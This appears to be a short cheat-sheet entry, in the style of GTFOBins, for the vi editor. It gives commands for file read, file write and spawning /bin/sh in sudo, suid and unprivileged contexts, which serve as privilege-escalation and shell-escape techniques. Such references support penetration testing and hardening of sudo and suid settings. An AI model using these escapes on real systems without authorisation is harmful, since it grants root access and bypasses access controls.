vi
File Read
Context: sudo, suid, unprivileged
vi /path/to/input-file
File Write
Context: sudo, suid, unprivileged
vi /path/to/output-file
iDATA
^[
w
Shell
Context: sudo, suid, unprivileged
vi -c ':!/bin/sh' /dev/null
Context: sudo, suid, unprivileged
vi -c ':shell'
Context: sudo, suid, unprivileged
vi -c ':set shell=/bin/sh | shell'
Context: sudo, suid, unprivileged
vi -c :terminal /bin/sh